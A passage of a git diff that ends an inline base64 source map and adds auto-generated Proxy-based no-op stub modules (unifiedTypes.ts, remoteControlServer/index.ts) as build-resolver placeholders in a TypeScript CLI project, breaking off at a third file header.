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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/commands/plugin/unifiedTypes.ts b/_all-in-one-upload/cc-haha/src/commands/plugin/unifiedTypes.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/plugin/unifiedTypes.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/_all-in-one-upload/cc-haha/src/commands/remoteControlServer/index.ts b/_all-in-one-upload/cc-haha/src/commands/remoteControlServer/index.ts
new file mode 100644
index 0000000..c170c49
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/remoteControlServer/index.ts
@@ -0,0 +1,34 @@
+// @generated stub from scan-missing-imports
+// 该文件自动生成，对应 ant-internal 的 feature() gated 模块。
+// 所有外部 build 的代码路径在 DCE 后都不会真的执行这里的代码，这只是
+// bun build resolver 的占位符。
+const __target = function noop() {}
+const __handler: ProxyHandler<any> = {
+  get(_t, prop) {
+    if (prop === '__esModule') return true
+    if (prop === 'default') return new Proxy(__target, __handler)
+    if (prop === Symbol.toPrimitive) return () => undefined
+    if (prop === Symbol.iterator) return function* () {}
+    if (prop === Symbol.asyncIterator) return async function* () {}
+    if (prop === 'then') return undefined
+    return new Proxy(__target, __handler)
+  },
+  apply() {
+    return new Proxy(__target, __handler)
+  },
+  construct() {
+    return new Proxy(__target, __handler)
+  },
+}
+const stub: any = new Proxy(__target, __handler)
+export default stub
+export const __stubMissing = true
+// 兼容常见的命名导出 —— 没列在这里的也会通过 default Proxy 兜底
+export const createCachedMCState = stub
+export const isCachedMicrocompactEnabled = stub
+export const isModelSupportedForCacheEditing = stub
+export const getCachedMCConfig = stub
+export const markToolsSentToAPI = stub
+export const resetCachedMCState = stub
+export const checkProtectedNamespace = stub
+export const getCoordinatorUserContext = stub
diff --git a/_all-in-one-upload/cc-haha/src/commands/rename/generateSessionName.ts b/_all-in-one-upload/cc-haha/src/commands/rename/generateSessionName.ts
new file mode 100644
index 0000000..2ebd786
--- /dev/null
